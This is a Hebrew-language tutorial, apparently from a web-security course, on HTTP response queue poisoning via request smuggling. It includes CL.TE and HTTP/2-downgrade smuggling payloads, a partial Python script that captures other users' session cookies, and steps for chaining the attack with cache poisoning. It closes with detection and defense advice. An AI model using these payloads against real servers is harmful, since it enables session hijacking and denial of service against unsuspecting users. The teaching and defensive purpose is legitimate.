הרעלת תור תגובות - Response Queue Poisoning¶
מבוא¶
הרעלת תור תגובות (Response Queue Poisoning) היא צורה מתקדמת של תקיפת הברחת בקשות שבה התוקף גורם ל-desync מלא בין תור הבקשות לתור התגובות. בניגוד להברחת בקשות רגילה שבה הבקשה המוברחת מצורפת לבקשה הבאה, בהרעלת תור תגובות - הבקשה המוברחת היא בקשה מלאה שגורמת לשרת לייצר תגובה נוספת, ובכך מזיזה את כל תור התגובות בעמדה אחת.
הבדל מהברחת בקשות רגילה¶
הברחת בקשות רגילה¶
ה-prefix המוברח מצורף לבקשה הבאה ומשנה אותה. התגובה עדיין מגיעה למבקש הנכון.
הרעלת תור תגובות¶
תוקף שולח: [בקשה רגילה + בקשה מוברחת מלאה]
שרת מייצר: [תגובה לבקשה רגילה] + [תגובה לבקשה מוברחת]
קורבן שולח: [בקשת קורבן]
קורבן מקבל: [תגובה לבקשה המוברחת] (לא שלו!)
תוקף שולח: [בקשה נוספת]
תוקף מקבל: [תגובה לבקשת הקורבן] (כולל session!)
מנגנון התקיפה בפירוט¶
שלב 1 - מצב רגיל¶
בחיבור keep-alive, בקשות ותגובות עוברות בתור:
חיבור בין front-end ל-back-end:
בקשות: [בקשה A] [בקשה B] [בקשה C] -->
תגובות: <-- [תגובה A] [תגובה B] [תגובה C]
כל בקשה מקבלת את התגובה המתאימה לה.
שלב 2 - הזרקת בקשה מוברחת¶
התוקף שולח בקשה שמכילה בקשה מוברחת מלאה:
חיבור:
בקשות שנשלחו ל-back-end:
[בקשת תוקף] [בקשה מוברחת] [בקשת קורבן]
^
הוזרקה על ידי התוקף
תגובות שחוזרות מה-back-end:
[תגובה לתוקף] [תגובה למוברחת] [תגובה לקורבן]
שלב 3 - חוסר סנכרון¶
ה-front-end ראה שתי בקשות (תוקף + קורבן), אבל ה-back-end מייצר שלוש תגובות:
front-end מצפה: [תגובה לתוקף] [תגובה לקורבן]
back-end שולח: [תגובה לתוקף] [תגובה למוברחת] [תגובה לקורבן]
מה שקורה:
התוקף מקבל: [תגובה לתוקף] - תקין
הקורבן מקבל: [תגובה למוברחת] - לא שלו!
הבקשה הבאה מקבלת: [תגובה לקורבן] - של מישהו אחר!
דוגמה מעשית¶
הבקשה הזדונית (CL.TE)¶
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Transfer-Encoding: chunked
0
GET /anything HTTP/1.1
Host: vulnerable-website.com
מה קורה¶
1. ה-front-end רואה בקשת POST אחת (Content-Length: 61)
2. ה-back-end רואה:
- POST / (chunked, סיום ב-0)
- GET /anything (בקשה חדשה)
3. ה-back-end מייצר שתי תגובות
4. ה-front-end מצפה לתגובה אחת
5. התגובה הראשונה הולכת לתוקף
6. התגובה השנייה "נתקעת" בתור
7. הבקשה הבאה מכל משתמש מקבלת את התגובה ה"תקועה"
לכידת תגובת הקורבן¶
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Transfer-Encoding: chunked
0
GET /anything HTTP/1.1
Host: vulnerable-website.com
שליחת הבקשה הזדונית, ואז מיד שליחת בקשה רגילה:
התגובה לבקשה הרגילה תהיה בפועל התגובה של המשתמש הבא - שעלולה לכלול:
- כותרת Set-Cookie עם טוקן session
- תוכן דף פרטי
- טוקני CSRF
תזמון ואמינות¶
אתגרי תזמון¶
הרעלת תור תגובות רגישה לתזמון:
1. הבקשה המוברחת חייבת להיות מלאה וחוקית
2. צריך לשלוח בקשה נוספת מיד אחרי כדי ללכוד את התגובה
3. אם משתמש אחר שולח בקשה בין לבין, הוא יקבל את התגובה הלא שלו
שיפור אמינות¶
import requests
import threading
import time
def response_queue_poison(target_url, smuggle_payload):
"""ביצוע הרעלת תור תגובות עם ניסיונות חוזרים"""
session = requests.Session()
for attempt in range(10):
# שלב 1: שליחת הבקשה המוברחת
# (צריך socket גולמי כי requests לא תומך בהברחה)
import socket
sock = socket.create_connection(
(target_url.replace('https://', ''), 443)
)
# ... שליחת הבקשה המוברחת ...
# שלב 2: שליחת בקשה רגילה מיד
time.sleep(0.1)
resp = session.get(target_url)
# שלב 3: בדיקה אם קיבלנו תגובה של מישהו אחר
if 'Set-Cookie' in str(resp.headers):
session_token = resp.headers.get('Set-Cookie', '')
if 'session=' in session_token:
print(f"[+] ניסיון {attempt+1}: נלכד טוקן!")
print(f" Cookie: {session_token}")
return session_token
print(f"[-] ניסיון {attempt+1}: לא נלכד טוקן")
return None
שיטות לשיפור תזמון¶
1. שלחו מספר בקשות ברצף מהיר אחרי ההברחה
2. השתמשו בחיבורים מרובים במקביל
3. שלחו בקשות לנתיב שגורם ל-302 redirect (תגובה קצרה ומהירה)
4. שלחו בקשות לנתיב עם תגובה ייחודית כדי לזהות בקלות תגובה שאינה שלכם
דוגמה מלאה - גניבת session¶
שלב 1 - אישור הברחה¶
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /my-unique-path-12345 HTTP/1.1
Host: vulnerable-website.com
שולחים בקשה רגילה מיד אחרי. אם התגובה היא 404 עבור /my-unique-path-12345 - ההברחה עובדת ותור התגובות הוזז.
שלב 2 - לכידת session¶
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /login HTTP/1.1
Host: vulnerable-website.com
הבקשה המוברחת פונה ל-/login. שולחים בקשה רגילה מיד אחרי. אם יש משתמש שפנה לדף כלשהו, התגובה שלו (שעלולה לכלול כותרת Set-Cookie עם session חדש) תגיע אלינו.
שלב 3 - שימוש ב-session¶
הרעלת תור דרך HTTP/2¶
תקיפה זו יעילה במיוחד דרך HTTP/2 downgrade:
:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked
0
GET /login HTTP/1.1
Host: vulnerable-website.com
היתרון של HTTP/2: ה-framing הבינארי מאפשר שליטה מדויקת יותר בגוף הבקשה, וה-CRLF injection מאפשר הזרקת כותרות שלא אפשריות ב-HTTP/1.1.
ניצול מתקדם - הרעלת תור לטובת הרעלת מטמון¶
ניתן לשלב הרעלת תור תגובות עם מטמון:
1. הבריחו בקשה ל-/login (שמחזיר redirect עם session)
2. שלחו בקשה רגילה ל-/static/main.js
3. התגובה של /login תישמר במטמון כ-/static/main.js
4. כל מבקר שיטען main.js יקבל redirect ל-/login
או:
1. הבריחו בקשה ל-/ (דף הבית)
2. שלחו בקשה ל-/static/main.js
3. תגובת דף הבית (HTML) תישמר כ-main.js
4. JavaScript parsing error לכל מבקר = DoS
זיהוי חולשה¶
סימנים שהתקיפה עובדת¶
1. אתם מקבלים תגובה שלא תואמת את הבקשה ששלחתם
2. קוד תגובה לא צפוי (למשל 302 כשציפיתם ל-200)
3. כותרות Set-Cookie בתגובה כשלא ביקשתם login
4. תוכן HTML כשביקשתם JavaScript
בדיקה בטוחה¶
1. שלחו בקשה מוברחת עם נתיב ייחודי (/unique-random-string)
2. שלחו מספר בקשות רגילות
3. אם אחת מהתגובות היא 404 עבור הנתיב הייחודי - יש desync
4. חשוב: בדיקה זו לא פוגעת במשתמשים אחרים אם הנתיב ייחודי
ההבדל בין סוגי הברחה¶
| מאפיין | הברחה רגילה | הרעלת תור |
|---|---|---|
| בקשה מוברחת | prefix חלקי | בקשה מלאה |
| תגובות | תגובה אחת מושפעת | כל התור מוזז |
| מה נלכד | בקשת הקורבן (כגוף) | תגובת הקורבן (כולל headers) |
| אמינות | גבוהה יחסית | תלויה בתזמון |
| השפעה | בקשה בודדת | כל הבקשות עד לסנכרון מחדש |
הגנה¶
1. שימוש ב-HTTP/2 מקצה לקצה¶
- פרוטוקול HTTP/2 משתמש ב-framing בינארי שמונע הברחת בקשות
- ודאו שאין downgrade ל-HTTP/1.1 בחיבור הפנימי
2. עיבוד בקשות קפדני¶
- דחו בקשות עם גם Content-Length וגם Transfer-Encoding
- נרמלו את עיבוד הבקשות בכל השכבות
- השתמשו באותה ספריית HTTP בכל השרתים
3. הגבלת חיבורי keep-alive¶
# nginx - הגבלת מספר בקשות בחיבור אחד
keepalive_requests 100;
# הגבלת זמן keep-alive
keepalive_timeout 60s;
4. ניטור אנומליות¶
- עקבו אחרי חוסר התאמה בין בקשות לתגובות
- בדקו אם תגובות מגיעות שלא בסדר
- התריעו על תגובות עם קוד לא צפוי
סיכום¶
הרעלת תור תגובות היא הצורה הקשה ביותר של הברחת בקשות. היא מאפשרת לתוקף ללכוד תגובות מלאות של משתמשים אחרים, כולל טוקני session וכותרות רגישות. נקודות מפתח:
- הבקשה המוברחת חייבת להיות בקשה מלאה וחוקית שתייצר תגובה משלה
- התגובה הנוספת מזיזה את כל תור התגובות ויוצרת desync
- התזמון קריטי - צריך לשלוח בקשה מיד אחרי ההברחה
- ההגנה הטובה ביותר היא HTTP/2 מקצה לקצה ועיבוד בקשות קפדני